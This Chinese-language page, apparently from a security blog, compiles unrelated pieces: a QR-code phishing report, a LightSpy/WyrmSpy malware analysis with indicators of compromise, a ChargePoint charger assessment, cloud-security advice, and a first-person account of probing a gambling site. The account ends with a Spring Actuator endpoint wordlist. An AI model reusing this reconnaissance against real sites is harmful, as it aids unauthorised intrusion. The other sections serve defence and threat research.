攻擊者向受害者發送信息，告知他們的公司電子郵件帳戶密碼即將過期，為了保留對賬戶的訪問權限，用戶需要掃描二維碼。一些電子郵件將來自免費郵件地址，另一些則來自最近註冊的域名，在一些信息中，攻擊者在二維碼中添加了微軟安全標誌，以提高可信度。

1.jpg

帶有二維碼的釣魚郵件

在收到釣魚郵件並掃描代碼後，用戶將被重定向到一個類似微軟登錄頁面的虛假登錄頁面，只要輸入登錄名和密碼，攻擊者就可以訪問該帳戶。

2.jpeg

除了敦促用戶更改密碼或更新個人數據的消息外，我們還檢測到一個未發送的電子郵件通知活動，該活動還使用二維碼重定向到虛假的微軟帳戶登錄頁面。

以下截圖所示的信件沒有二維碼標誌，但帶有“此郵件來自可信來源”的字樣，讓用戶放鬆警惕。

3.jpg

未發送的郵件通知

掃描二維碼時看到的一些頁面位於IPFS資源中，攻擊者會用這種分佈式文件系統發起攻擊。 IPFS是一種點對點的網絡協議，旨在創建持久且分佈式存儲和共享文件的網絡傳輸協議，IPFS網絡釣魚活動與傳統網絡釣魚活動類似，攻擊者模仿合法服務和軟件（如DHL、DocuSign和Adobe）來增加進入目標收件箱的可能性。

4.jpeg

統計數據

從2023年6月到8月，研究人員檢測到8878封包含二維碼的網絡釣魚郵件，惡意活動在6月份達到頂峰，有5063封信，到8月份減少到762封信。

5.png

2023年6月至8月帶有二維碼的釣魚電子郵件數量趨勢

總結攻擊者可以通過多種方式使用二維碼。首先，這些代碼使他們能夠避免安全措施檢測和屏蔽他們的電子郵件，查看二維碼內容並不容易，而且消息中沒有釣魚鏈接；此外，一封信不能僅僅因為裡面有二維碼就被屏蔽，儘管二維碼不是一個流行的電子郵件元素，但二維碼也可以用於合法的通信，例如發件人的自動簽名；其次，由於消息中不包含鏈接，因此無需註冊額外的帳戶或域來重定向用戶，從而隱藏網絡釣魚；最後，大多數用戶使用智能手機攝像頭掃描二維碼，並希望盡快解決問題。因此，他們可能會忽略重定向到的頁面的地址行，因為它在移動瀏覽器中不太顯眼。

另一方面，合法發件人幾乎從不在郵件中使用二維碼，因此僅僅在電子郵件中出現二維碼就可能引發懷疑；此外，掃描二維碼需要另一個設備，而用戶可能沒有現成的設備。目前研究人員還沒有觀察到許多基於二維碼的攻擊活動，他們只能假設實際掃描代碼的收件人不多。儘管如此，考慮到該機制的使用情況，預計這種攻擊在短期內會增加，且活動本身也會變得更加複雜，並針對特定目標進行調整。

HireHackking

針對香港iOS用戶進行水坑攻擊的LightSpy惡意軟件，近日被發現嵌入在來自20台活躍服務器的安卓植入體Core（核心）及其14個相關插件當中，用於攻擊移動用戶。

LightSpy是一種移動高級持續性威脅（mAPT），它使用新穎的複雜技術來攻擊移動用戶。其中，這個惡意軟件已被證實出自黑客組織APT41之手。

最近的報告表明，該惡意軟件一直在使用微信支付系統訪問支付數據、監控私密通信，並執行各種惡意活動。

LightSpy APT攻擊微信用戶據多起報告顯示，LightSpy惡意軟件是一套功能齊全的模塊化監視工具集，被發現使用各種插件來洩露並竊取私密數據和支付數據。此外，該惡意軟件強烈關注受害者的私密信息。

其功能包括：利用後端基礎設施從微信支付中洩露支付數據，並從微信獲取音頻相關功能，以記錄受害者的VOIP對話內容。

然而，該惡意軟件不能作為一個獨立的應用程序來運行，因為它也是一個插件，該惡意軟件的核心負責執行整條攻擊鏈所需的所有功能。

核心功能包括設備指紋收集、控制服務器連接建立、從服務器檢索命令以及更新自身和額外的攻擊載荷文件（又叫作插件）。

LightSpy的14個插件該惡意軟件已添加了多個插件，包括soft list（軟列表）、baseinfo（基礎信息）、bill（賬單）、cameramodule（攝像頭模塊）、chatfile（聊天文件）、filemanager（文件管理器）、locationmodule（位置模塊）、locationBaidu（位置百度）、qq、shell、soundrecord（錄音）、telegram、wechat（微信）和wifi。

12112.jpg

信息來源： ThreatFabric

正如報告中提到，最重要的插件之一是位置模塊插件，它負責位置跟踪，可以發送當前位置的快照，也可以設置指定時間間隔的位置跟踪。這個插件基於兩個位置跟踪框架：騰訊位置SDK和百度位置SDK。

另一個重要的插件是Soundrecord（錄音）插件，它負責錄製音頻。這個插件還可以立即或在指定的時間間隔開始麥克風錄音。此外，這個插件還可以記錄來電通話內容。

Bill（賬單）插件是另一個重要的插件，它負責從微信支付收集受害者的支付歷史信息，這包括上一筆賬單的ID、賬單類型、交易ID、日期以及已支付處理的標誌。

22222.jpg

iOS命令和安卓命令之間的關係（來源：ThreatFabric）

基礎設施LightSpy基礎設施包含幾十個服務器，分佈在中國大陸、中國香港、中國台灣、新加坡和俄羅斯，由於一些服務器返回不同的命令和載荷，可以推測攻擊者為每次活動使用不同的IP地址或域。與此同時，由於一些服務器返回載荷（應該是在2018年編譯的），可以假設攻擊者可以在幾個攻擊活動中重複使用同一套基礎設施。另一個關於長壽命服務器的假設是，安全行業人士常常不會發現/披露這些服務器，因此不需要更改IP地址。

在分析LightSpy基礎設施時，我們發現了兩個值得注意的時刻：

LightSpy與AndroidControl（WyrmSpy）的聯繫

我們獲取了硬編碼到核心中的IP地址，與Lookout報告中披露的IP地址是同一個。

1.png

圖1

結果是35900端口已關閉，主機沒有響應LightSpy請求。同時，有幾個開放的端口提供https服務。

端口11090對應的https服務器使用過期證書加以保護，SHA256指紋為f0fc2c418e012e034a170964c0d68fee2c0efe424a90b0f4c4cd5e13d1e36824，還有另外兩台主機使用相同的服務和相同的證書。兩台主機都打開了端口443，服務於一個名為AndroidControl v1.0.4的管理面板。

2.png

圖2

有第三台主機具有相同的收藏夾圖標（MD5散列542974b44d9c9797bcbc9d9218d9aee5），它託管相同的面板。這個主機上的面板錯誤配置，暴露了應該用於前後端之間通信的後端端點：

3.png

圖3

第一個值得關注的點是“控制”端點，這種端點位於Lookout報告的WyrmSpy樣本中。

為了確認這三個主機與WyrmSpy有關，我們做了一個簡單的請求雙“控制”端點，看到了相同的結果：

4.png

圖4

在WyrmSpy的代碼中，我們可以看到它等待對含有字段“suc”的請求進行響應：

5.png

圖5

因此，這三個主機都是WyrmSpy的活躍C2，或者正如攻擊者所命名的AndroidControl或androidRat。

由於面板在處於調試模式的Django中，它暴露了一些內部信息，比如一個內部文件夾（整個前端和後端文件存儲在服務器中），以及另一個IP地址47.115.7[.]112：

6.png

圖6

LightSpy面板其中一台C2服務53601端口，該服務含有Admin面板：

7.png

圖7

面板在VUEJS中，除了面板結構外，我們在底層沒有發現任何值得注意的痕跡。 VUEJS節點的功能仍然不清楚。

8.png

圖8

一篇關於LightSpy的完整報告已經由ThreatFabric發布（詳見https://www.threatfabric.com/blogs/lightspy-mapt-mobile-payment-system-attack），提供了有關威脅途徑、源代碼、分析及其他信息的詳細信息。

攻陷指標控制服務器：域

spaceskd[.]com

IP

103.27.108[.]207

46.17.43[.]74

文件哈希：第二階段載荷（smallmload .jar）

SHA256

407abddf78d0b802dd0b8e733aee3eb2a51f7ae116ae9428d554313f12108a4c

bd6ec04d41a5da66d23533e586c939eece483e9b105bd378053e6073df50ba99

核心SHA256

版本

68252b005bbd70e30f3bb4ca816ed09b87778b5ba1207de0abe41c24ce644541

6.5.24

5f93a19988cd87775ad0822a35da98d1abcc36142fd63f140d488b30045bdc00

6.5.24

bdcc5fc529e12ecb465088b0a975bd3a97c29791b4e55ee3023fa4f6db1669dc

6.5.25

9da5c381c28e0b2c0c0ff9a6ffcd9208f060537c3b6c1a086abe2903e85f6fdd

6.2.1

a01896bf0c39189bdb24f64a50a9c608039a50b068a41ebf2d49868cc709cdd3

6.5.19

77f0fc4271b1b9a42cd6949d3a6060d912b6b53266e9af96581a2e78d7beb87b

6.2.0

d640ad3e0a224536e58d771fe907a37be1a90ad26bf0dc77d7df86d7a6f7ca0e

6.2.1

3849adc161d699edaca161d5b6335dfb7e5005056679907618d5e74b9f78792f

6.2.6

2282c6caef2dd5accc1166615684ef2345cf7615fe27bea97944445ac48d5ce4

5.2.1

插件插件名稱

SHA256

softlist

7d17cdc012f3c2067330fb200811a7a300359c2ad89cdcf1092491fbf5a5a112

baseinfo

cc6a95d3e01312ca57304dc8cd966d461ef3195aab30c325bee8e5b39b78ae89

bill

c6ccd599c6122b894839e12d080062de0fa59c4cd854b255e088d22e11433ef6

cameramodule

bace120bf24d8c6cfbb2c8bfeed1365112297740e2a71a02ea2877f5ffc6b325

chatfile

7d8a08af719f87425d1643d59979d4a3ef86a5fc81d1f06cfa2fd8c18aeb766b

filemanager

e5bdeedac2c5a3e53c1fdc07d652c5d7c9b346bcf86fc7184c88603ff2180546

locationmodule

bf338e548c26f3001f8ad2739e2978586f757777f902e5c4ab471467fd6d1c04

locationBaidu

177e52c37a4ff83cd2e5a24ff87870b3e82911436a33290135f49356b8ee0eb1

qq

f32fa0db00388ce4fed4e829b17e0b06ae63dc0d0fac3f457b0f4915608ac3b5

shell

e1152fe2c3f4573f9b27ca6da4c72ee84029b437747ef3091faa5a4a4b9296be

soundrecord

c0c7b902a30e5a3a788f3ba85217250735aaaf125a152a32ee603469e2dfb39e

telegram

71d676480ec51c7e09d9c0f2accb1bdce34e16e929625c2c8a0483b9629a1486

wechat

bcb31d308ba9d6a8dbaf8b538cee4085d3ef37c5cb19bf7e7bed3728cb132ec1

wifi

446506fa7f7dc66568af4ab03e273ff25ee1dc59d0440086c1075d030fe72b11

HireHackking

ChargePoint Home Flex是一款二級電動汽車充電站，專為終端用戶在家中使用而設計。該設備在其硬件中有一個最小的用戶界面，該設備採用移動應用程序進行安裝，並滿足消費者對設備的常規操作。

通常來講，該設備的攻擊面可以分為三類。

1.ChargePoint移動應用程序安裝人員在安裝ChargePoint Home Flex裝置時使用的ServicePro應用程序提供了一種攻擊途徑。

終端用戶在配置和使用ChargePoint Home Flex時使用的ChargePoint應用程序也提供了一個攻擊面。

2.ChargePoint Home Flex硬件該設備包括一個嵌入式Linux主機，通過Wi-Fi與互聯網上的主機進行通信，該單元還包含一個基於德州儀器MSP430微控制器的PCB。無線通信PCB基於Atmel CPU。最後，JTAG接口可以通過無線通信PCB訪問。

3.網絡攻擊面設備的軟件補丁是通過基於互聯網的空中傳送（OTA）更新提供的。移動應用程序用於本地通信的藍牙低能耗（BLE）終端可能會提供攻擊機會，與本地接入點的任何Wi-Fi通信都為攔截和操縱打開了機會。最後，該設備實現了開放式充電樁協議（OCPP）。該協議中的任何漏洞都將在充電器中暴露出來。

安全性研究卡巴斯基實驗室的研究員Dmitry Skylar對ChargePoint Home Flex進行了安全評估。

ChargePoint Home Flex移動應用程序ChargePoint提供兩種應用程序，可與Home Flex充電器一起使用，這兩個應用程序都通過藍牙低能耗（BLE）與ChargePoint Home Flex進行交互。

ChargePoint ServicePro應用程序會在終端用戶安裝設備時使用。此應用程序是使用React Native應用程序開發框架編寫的。這是一個基於JavaScript的開發框架，用於跨平台移動應用程序開發。

以消費者為中心的ChargePoint移動應用程序旨在供最終用戶使用，以管理他們的充電偏好。

雖然我們沒有徹底調查這些應用程序的漏洞或其他漏洞，但移動應用程序中的漏洞是一個重要的攻擊表面。

ChargePoint Home Flex藍牙低能耗ChargePoint Home Flex使用藍牙低能耗與移動應用程序進行通信。趨勢科技的研究人員使用自定義BLE掃描工具找到了充電器提供的終端。

BLE規範中定義了以下服務：

1.BLE服務設備信息：

1.1系統ID；

1.2 型號字符串：CPH50；

1.3序列號字符串；

1.4 程序修訂字符串：5.5.2.5；

研究人員在掃描被測設備（DUT）時觀察到以下BLE服務和功能：

2.設備詳細信息服務：274BC3A3-1A52-4D30-99C0-4DE08FFF2358：

Get/Set PowerSourceType：8D4D6AF5-E562-DC7-85AD-842FBF321C87特點；

Get/Set PowerSourceAmps：F24F7C35-A5FD-4B98-BCA5-50BB5DC8E7CD特點；

Get/Set Apply Settings Status：5597DD46-7EDD-40CC-9904-B693DC05E19特點；

Get/Set UserId：E79C86D4-8106-4908-B602-5B61266B2116特點；

Get/Set Latitude：85F296FC-3152-4EF0-84CB-FAB8D05432E4特點；

Get/Set Longitude：9253A155-701A-4582-A0CF-5E517E553586特點；

Get/Set NOSStatus：C31D51E5-BD61-4D09-95E2-C0E34ED1224C特點；

Get/Set Power Source：C1972E92-0D07-4464-B312-E60BA5F284FC特點；

3.無線上網服務DFAF46E7-04F9-471C-8438-A72612619BE9

Get/Set NextWIFIAccessPoint：E5DEB4B-4DAC-4609-A533-B628E5797E91特點；

Get/Set CurrentSSID：EB61F605-DED9-4975-9235-0A5F4941F32特點；

Get/Set WIFISecurityType：733ED10A-CD1B-43CA-A0C2-6864C8DCF7C1特點；

Get/Set WiFi Configuration：25A03F00-1AF2-44F0-80F2-D6F771458BB9特點；

Get/Set ApplyStatusCode：3BE83845-93E461E-8A49-737F790EBC4特點；

Get/Set Always Empty Response Characteristic：CED647D7-E261-41E2-8F0D-35C360AAE269特點；

3.未知服務B67CB923-50E4-41E8-BECC-9ACD24776887：Get/Set Always NULL Byte Characteristic，7AC61302-58AB-47BA-B8AA-0094DB0B9A1特點；

趨勢科技的研究人員使用自定義的BLE掃描儀對這些BLE終端進行了有限的探測。此外，趨勢科技的研究人員對最終用戶ChargePoint應用程序進行了逆向工程。上表中確定的名稱是根據對Android應用程序代碼的理解推斷出來的。

ChargePoint Home Flex硬件詳細信息ChargePoint Home Flex包括位於設備shell內的兩塊電路板，分別是計量板和CPU板。

計量板包含一個MSP430微控制器。它終止了與電源的電源連接，還終止了最終用戶連接到電動汽車的充電電纜。計量板還通過堆疊在計量板右上方的PCB連接器為CPU板供電。計量板在PCB絲網標記上標記有Panda AC 50標識符，它擁有一個MSP430微控制器。

CPU板承載ATMEL Arm CPU、Wi-Fi無線電和藍牙LE無線電，CPU板在PCB絲網標記上標記為CPH-50 CPU。

以下是一些詳細介紹ChargePoint家用Flex計量板和CPU板的圖片:

1.png

CPH-50 CPU板正面

2.png

CPH-50 CPU板背面

3.png

ChargePoint Home Flex計量板正面

4.png

ChargePoint Home Flex計量板背面

ChargePoint Home Flex嵌入式Linux卡巴斯基實驗室先前的研究表明，該充電器使用Linux操作系統。充電器硬件有一個確定為“Panda CPU”板，它實現了充電器上所有可訪問的攻擊面。硬件包括一個ARM CPU，該設備提供一個JTAG調試接頭。先前的研究表明，這種JTAG接頭可以用來獲得shell對充電器的訪問權限。

在對充電器的初步評估中，趨勢科技的研究人員使用了一個捕獲測試網絡來詢問ChargePoint Home Flex。測試網絡有一個運行的Wi-Fi接入點，該接入點連接到運行一組服務的網絡，該服務被配置為模擬充電器所需的服務。該網絡具有一個DNS服務器，該網絡有一個DNS服務器，它被配置為使用測試網絡中的IP地址響應所有DNS A-record查詢。

在測試過程中，研究人員觀察了DUT進行的DNS查詢，並用其試圖連接的所有觀察到的主機名配置了DNS服務器。此外，測試網絡還包括一個web服務器，該服務器被配置為響應DUT提出的網絡請求。 DUT已向以下域發出DNS請求：ba79k2rx5jru.chargepoint.com；

homecharger.chargepoint.com；

publish.chargepoint.com；

研究人員指出，由於TLS證書頒發機構不匹配，向web服務器發起的TLS連接無法建立。強制執行TLS證書頒發機構匹配是一種安全優勢。

ChargePoint Home Flex通過SSH連接到TCP端口343上的服務器ba79k2rx5jru.ChargePoint.com。該研究網絡包括一個允許對任何用戶進行身份驗證的SSH服務器。當充電器啟動與測試網絡中允許的SSH服務器的連接時，研究人員注意到DUT的SSH客戶端啟動了從SSH服務器轉發到充電器上的TCP端口23的TCP端口。這與卡巴斯基研究報告中提到的結果相吻合。

ba79k2rx5jru.chargepoint.com

homecharger.chargepoint.com

publish.chargepoint.com

研究人員指出，由於TLS證書頒發機構不匹配，向web服務器發起的TLS連接無法建立。強制執行TLS證書頒發機構匹配是一種安全優勢。

ChargePoint Home Flex在TCP端口343上通過SSH連接到服務器ba79k2rx5jru.chargepoint.com。研究網絡包括一個允許對任何用戶進行身份驗證的授權SSH服務器。當充電器啟動連接到測試網絡中的許可SSH服務器時，研究人員注意到來自DUT的SSH客戶端啟動了一個TCP端口，從SSH服務器返回到充電器上的TCP端口23，這與卡巴斯基研究報告中提到的結果相符。

總結雖然這些可能不是ChargePoint Home Flex設備上唯一可用的攻擊面，但它們代表了攻擊者可能用來利用該設備的最可能途徑。

HireHackking

儘管與現場資源相比，雲計算為組織帶來了許多優勢，但它仍然容易受到內部和外部攻擊。為了確保云中應用程序的安全，請考慮已知的雲漏洞和數據保護最佳實踐。

在本文中，我們概述了雲計算技術的關鍵漏洞，然後了解了雲計算最常見的攻擊類型。最後，我們考慮行業最佳實踐和我們自己的經驗，就如何確保基於雲的解決方案的安全性提供實用建議。

本文對於希望在其解決方案中使用雲計算並確保其受到保護的開發和產品領導者非常有用。

雲計算攻擊有多危險？

雲計算為組織提供了大量面向業務的優勢：降低基礎設施成本、本地硬件零費用、可容納任意數量用戶的即時可擴展性等。但從網絡安全的角度來看，雲計算可以使與本地部署相比，應用程序更容易受到威脅和攻擊。

image.png

雲計算技術的漏洞導致了2023 年迄今為止最嚴重的一些數據洩露事件。以下是幾個雲攻擊示例：

大規模MOVEit 黑客攻擊。 MOVEit 是一款使用FTP 和雲基礎設施傳輸文件的工具，於2023 年6 月遭受勒索軟件攻擊。 Clop 黑客組織濫用安全漏洞竊取通過MOVEit 傳輸的敏感數據。其中包括來自美國大學、公共部門組織、銀行、能源和製造公司以及法律服務提供商的數據。至少有1500 萬人受到影響。美國國務院懸賞1000 萬美元，以獲取有關克洛普組織的信息。

兩次T-Mobile 違規事件。 T-Mobile 透露，他們在2023 年2 月和3 月經歷了兩次大規模數據洩露，洩露了超過3700 萬客戶的數據。該公司聲稱，黑客通過未受授權保護的API 訪問了此信息。

美國軍方電子郵件洩露。 2023 年2 月，安全研究員Anurag Sen 發現Microsoft Azure 中託管了一個不安全的美國國防部電子郵件服務器。該服務器存儲了約3 TB 的敏感軍事和個人信息，沒有密碼保護。

雲基礎設施和應用程序遭到破壞通常會導致敏感數據洩露、耗時且成本高昂的內部調查、聲譽和業務損失以及其他負面後果。讓我們看一下導致此類洩露的關鍵雲計算漏洞。

常見的雲計算漏洞在雲環境中，網絡安全責任在雲服務提供商(CSP) 和客戶之間劃分。這種劃分使數據保護變得更加複雜，因為它為惡意行為者創造了更多的入口點，並為人為錯誤創造了空間。根據所選擇的雲計算模型，雙方的責任也有所不同。

讓我們看一下一些可能成為雲攻擊媒介的常見漏洞：

image.png

安全配置錯誤。 AWS、Google Cloud 和Azure 等主要CSP 為其客戶提供多種方法來配置其環境的安全性。開發人員可以為存儲、基礎設施元素、虛擬機等設置額外的保護措施。但開發人員也可能由於以下原因而錯誤配置環境：

人為錯誤

CSP 提供的文檔不完整

隱藏或不明顯的設置

惡意行為者可能會濫用配置錯誤的雲環境來訪問敏感數據或控制雲應用程序或環境。

訪問管理薄弱。對雲資源的訪問應通過多重身份驗證(MFA)、密碼管理、可配置的訪問權限等進行保護。理想情況下，在系統驗證其身份、憑證和訪問權限後，用戶應該只能訪問他們需要的資源。

當CSP 沒有提供足夠的訪問保護功能或云管理員忽視使用它們時，黑客就可以獲得對敏感資源的訪問權限。

不受保護的API。 API 允許用戶與基於雲的服務交互。 API 中的漏洞可能會嚴重影響基於雲的應用程序的安全性。例如，API 可能會過度共享訪問信息、授予應用程序內部不必要的可見性，或者忽略服務的流量限制。

這就是黑客經常使用雲API 來未經授權訪問數據或執行拒絕服務(DoS) 攻擊的原因。

容易受到DoS 攻擊。雲計算的主要優勢之一是雲應用程序的24/7 可用性。如果組織和CSP 未能實施DoS 保護機制，惡意行為者可能會向其實例發送垃圾郵件請求，並使合法用戶無法使用它們。

這樣，組織可能會失去對其敏感數據和內部雲託管應用程序的訪問權限，或者無法為其用戶提供服務。在某些情況下，黑客還會向組織索要贖金以阻止DoS 攻擊。

帳戶劫持和洩露。對雲基礎設施和應用程序的特權訪問通常是黑客攻擊的目標。使用管理員的憑據，黑客可以在沒有人注意到的情況下滲透到組織中。

由於社會工程、未能保護管理員憑據、跨站點腳本和緩衝區溢出攻擊，或者未能檢測到鍵盤記錄程序和類似惡意軟件，可能會發生帳戶洩露。

密碼學較弱或不存在。儘管雲提供商使用加密算法來保護存儲中的數據，但他們通常依賴有限的熵源來自動生成用於數據加密的隨機數。例如，基於Linux 的虛擬機從精確的毫秒內生成隨機密鑰。可能需要更靈活的方式來確保強大的數據加密，因為攻擊者還使用複雜的解碼機制來破解信息。

因此，您的團隊應該在將數據移動到雲之前考慮如何保護數據。

共享技術漏洞。雲計算涉及虛擬化和雲編排等共享技術的使用。通過利用這些技術任何部分的漏洞，攻擊者可能會對許多雲用戶造成重大損害。

虛擬機管理程序中的弱點可能使黑客能夠控制虛擬機甚至主機本身。如果黑客逃離虛擬機，他們可以通過共享資源不受限制地訪問主機。有必要注意您委託雲解決方案的雲提供商的安全性。

確保云計算安全的7 個最佳實踐雲服務的動態特性打破了傳統的現場軟件安全模型。顯然，組織不能完全依賴其CSP 來保護雲計算環境，需要付出額外的努力來確保數據保護。

在Apriorit，我們努力在開發、雲基礎設施配置和維護過程中保護雲應用程序的安全。以下是我們用來防止雲計算解決方案受到安全攻擊的關鍵做法：

image.png

1.使用身份管理身份管理允許雲環境在授予用戶訪問受保護資源之前驗證用戶的身份。這種簡單但有效的措施使惡意行為者更難使用竊取的憑據來訪問敏感信息。

所有主要的CPS 都提供一些身份管理功能。為新項目選擇可靠的CSP 時，我們始終評估其以下功能：

多重身份驗證

靜態和動態密碼的使用和管理

如果需要，使用硬件令牌或生物識別技術

與身份服務集成

請記住，在應用程序維護期間，您的團隊必須定期檢查身份管理配置、進行審核並保護或刪除任何可疑的身份和令牌。

2、實施准入管理一旦獲得云環境的訪問權限，用戶應該只能與他們需要的資源進行交互。為用戶提供對任何資源的不受限制的訪問會帶來遭受內部攻擊的風險，並增加憑證盜竊可能造成的損害。

為了保證服務的安全，雲應用開發者應該對不同的管理員、特權用戶、第三方和普通用戶實施基於角色的權限。這樣，應用程序所有者可以配置訪問權限、建立訪問策略並限制對其云基礎設施可能產生的影響。

此外，雲編排應使特權用戶能夠根據公司內的職責建立其他用戶的權限範圍。

3. 強制數據加密雲環境中的數據在傳輸和存儲的各個階段都需要加密：

在源頭（用戶端）

傳輸中（從用戶傳輸到雲服務器的過程中）

靜止時（存儲在雲數據庫中時）

現代數據加密和標記化技術可以有效防禦帳戶劫持。此外，證明端到端加密對於保護傳輸中的數據免受中間人攻擊也很重要。使用包含鹽和哈希值的強大加密算法可以有效地抵禦網絡攻擊。

即使端到端加密數據被洩露，黑客也無法使用它，因為他們無法解密、讀取和使用它。

4. 實施入侵預防和檢測機制許多CSP 為其客戶提供內置的入侵檢測和防禦系統，用於監視網絡流量或客戶端基礎設施中的機器，以檢測惡意活動和可疑用戶行為。

在開發基於雲的解決方案時，開發人員應啟用入侵檢測系統並確保其按預期工作，以確保云攻擊的預防。他們還可以實施自定義入侵檢測或確保客戶可以將其解決方案集成到第三方系統中。

5. 安全API 和訪問云開發人員應確保客戶端只能通過安全API 訪問應用程序。如果不加保護，API 可能會洩露敏感數據，為黑客提供對雲基礎設施的訪問權限，並導致DoS 攻擊。

常見的API保護措施包括：

使用Web 應用程序防火牆

限制允許的請求數量

審查和限制API 訪問權限

實施OAuth 2.0 進行身份驗證

加密API 響應

6.定期進行網絡安全審計安全審核可幫助雲應用程序開發人員檢測他們忽視的雲錯誤配置、漏洞和過時的數據保護機制，並改善其解決方案的整體網絡安全狀況。

作為一家面向網絡安全的開發公司，我們為客戶對基於雲的解決方案進行獨立審核。在審核過程中，我們特別關注：

身份驗證和訪問控制

雲存儲、計算端點、網絡和其他元素的配置

數據庫的狀態、應用的加密機制和備份過程

遵守適用於客戶解決方案的要求和法規

為了進行審核，我們使用基於CSP 推薦的最佳實踐以及我們在給定雲平台方面的經驗的清單。您可以檢查我們的審核AWS和Azure環境的清單。

審核後，我們向客戶提供有關檢測到的漏洞和改進可能性的詳細報告。我們還提供有關如何提高雲應用程序或服務安全性的建議。

7.收集日誌雲環境內所有活動的詳細日誌對於進行安全審計、調查事件、研究漏洞等至關重要。這就是為什麼任何基於雲的解決方案都應該能夠記錄盡可能多的有關其工作的信息。

記錄用戶和網絡活動、基礎設施元素的狀態和配置的變化以及雲內的數據流被認為是一種很好的做法。這些日誌在任何狀態下都應該加密。許多開發人員還添加了一個選項，將他們的解決方案與流行的SIEM 集成，並允許其安全地共享日誌。

結論云計算技術因其諸多優點而深受用戶歡迎。然而，雲技術也引入了漏洞，可能導致毀滅性且代價高昂的網絡攻擊。通過了解和保護雲計算技術的脆弱元素，開發人員可以更好地保護他們的產品免受不同類型的雲攻擊。

HireHackking

记一次bc站实战

初遇难题

发现一个bQc站先尝试打一下主站图片先尝试目录扫描看能不能发现一些后台之类的，这里我用的是dirsearch。图片但是很遗憾，没有什么有价值的目录，连后台也扫不出来，但是这是在意料之中，毕竟大部分菠菜网站防护都做的挺好的。接下里尝试注册一个账号看看图片尝试注入，发现加密，不会逆向的我只能暂时放弃。图片注册成功后发现一个上传接口图片上传成功但是查看后发现他是以id的形式存储，无法形成上传漏洞放弃。图片这个网站拿不下来转换思路尝试对整个ip进行渗透，首先要对这个ip的全端口进行扫描，尽量获取到比较全的信息。获得了两个web页面。rocketmq，这个有最新版漏洞爆出来尝试图片找到工具尝试攻击，但是失败不能执行命令。图片还有另外一个登录界面图片发现存在shiro框架图片尝试爆破但是未发现秘钥。图片

柳暗花明

突破点：他有一个8888端口，访问都会跳转非法ip图片看了一下burp发现他会访问登录页面再进行跳转图片眉头一皱发现事情并不简单，在ip后随便加了一点，导致其报错，发现其使用的是spring框架。图片Actuator 是 Spring Boot 提供的用来对应用系统进行自省和监控的功能模块，借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。Actuator 的核心是端点 Endpoint，它用来监视应用程序及交互，spring-boot-actuator 中已经内置了非常多的 Endpoint（health、info、beans、metrics、httptrace、shutdown等等），同时也允许我们自己扩展自己的 Endpoints。每个 Endpoint 都可以启用和禁用。要远程访问 Endpoint，还必须通过 JMX 或 HTTP 进行暴露，大部分应用选择HTTP。



路径是否默认启用功能描述
/auditevents是显示当前应用程序的审计事件信息
/beans是显示一个应用中所有Spring Beans的完整列表
/conditions是显示配置类和自动配置类的状态及它们被应用或未被应用的原因
/configprops是显示一个所有@ConfigurationProperties的集合列表
/env是显示来自Spring的 ConfigurableEnvironment的属性
/flyway是显示数据库迁移路径（如果存在）
/health是显示应用的健康信息（当使用一个未认证连接访问时显示一个简单的’status’，使用认证连接访问则显示全部信息详情）
/info是显示任意的应用信息
/liquibase是展示任何Liquibase数据库迁移路径（如果存在）
/metrics是展示当前应用的metrics信息
/mappings是显示一个所有@RequestMapping路径的集合列表
/scheduledtasks是显示应用程序中的计划任务
/sessions否允许从Spring会话支持的会话存储中检索和删除用户会话
/shutdown否允许应用以优雅的方式关闭（默认情况下不启用）
/threaddump是执行一个线程dump
/heapdump是返回一个GZip压缩的hprof堆dump文件
/jolokia是通过HTTP暴露JMX beans（当Jolokia在类路径上时，WebFlux不可用）
/logfile是返回日志文件内容（如果设置了logging.file或logging.path属性的话），支持使用HTTP Range头接收日志文件内容的部分信息
/prometheus是以可以被Prometheus服务器抓取的格式显示metrics信息
直接用spring收集好的目录进行目录扫描。

actuator/auditLog
actuator/auditevents
actuator/autoconfig
actuator/beans
actuator/caches
actuator/conditions
actuator/configurationMetadata
actuator/configprops
actuator/dump
actuator/env
actuator/events
actuator/exportRegisteredServices
actuator/features
actuator/flyway
actuator/health
actuator/heapdump
actuator/healthcheck
actuator/heapdump
actuator/httptrace
actuator/hystrix.stream
actuator/info
actuator/integrationgraph
actuator/jolokia
actuator/logfile
actuator/loggers
actuator/loggingConfig
actuator/liquibase
actuator/metrics
actuator/mappings
actuator/scheduledtasks
actuator/swagger-ui.html
actuator/prometheus
actuator/refresh
actuator/registeredServices
actuator/releaseAttributes
actuator/resolveAttributes
actuator/scheduledtasks
actuator/sessions
actuator/springWebflow
actuator/shutdown
actuator/sso
actuator/ssoSessions
actuator/statistics
actuator/status
actuator/threaddump
actuator/trace
auditevents
autoconfig
api.html
api/index.html
api/swagger-ui.html
api/v2/api-docs
api-docs
beans
caches
cloudfoundryapplication
conditions
configprops
distv2/index.html
docs
druid/index.html
druid/login.html
druid/websession.html
dubbo-provider/distv2/index.html
dump
entity/all
env
env/(name)
eureka
flyway
gateway/actuator
gateway/actuator/auditevents
gateway/actuator/beans
gateway/actuator/conditions
gateway/actuator/configprops
gateway/actuator/env
gateway/actuator/health
gateway/actuator/heapdump
gateway/actuator/httptrace
gateway/actuator/hystrix.stream
gateway/actuator/info
gateway/actuator/jolokia
gateway/actuator/logfile
gateway/actuator/loggers
gateway/actuator/mappings
gateway/actuator/metrics
gateway/actuator/scheduledtasks
gateway/actuator/swagger-ui.html
gateway/actuator/threaddump
gateway/actuator/trace
health
heapdump
heapdump.json
httptrace
hystrix
hystrix.stream
info
integrationgraph
jolokia
jolokia/list
liquibase
list
logfile
loggers
liquibase
metrics
mappings
monitor
prometheus
refresh
scheduledtasks
sessions
shutdown
spring-security-oauth-resource/swagger-ui.html
spring-security-rest/api/swagger-ui.html
static/swagger.json
sw/swagger-ui.html
swagger
swagger/codes
swagger/index.html
swagger/static/index.html
swagger/swagger-ui.html
swagger-dubbo/api-docs
swagger-ui
swagger-ui.html
swagger-ui/html
swagger-ui/index.html
system/druid/index.html
threaddump
template/swagger-ui.html
trace
user/swagger-ui.html
version
v1.1/swagger-ui.html
v1.2/swagger-ui.html
v1.3/swagger-ui.html
v1.4/swagger-ui.html
v1.5/swagger-ui.html
v1.6/swagger-ui.html
v1.7/swagger-ui.html
/v1.8/swagger-ui.html
/v1.9/swagger-ui.html
/v2.0/swagger-ui.html
v2.1/swagger-ui.html
v2.2/swagger-ui.html
v2.3/swagger-ui.html
v2/swagger.json
webpage/system/druid/index.html
%20/swagger-ui.html
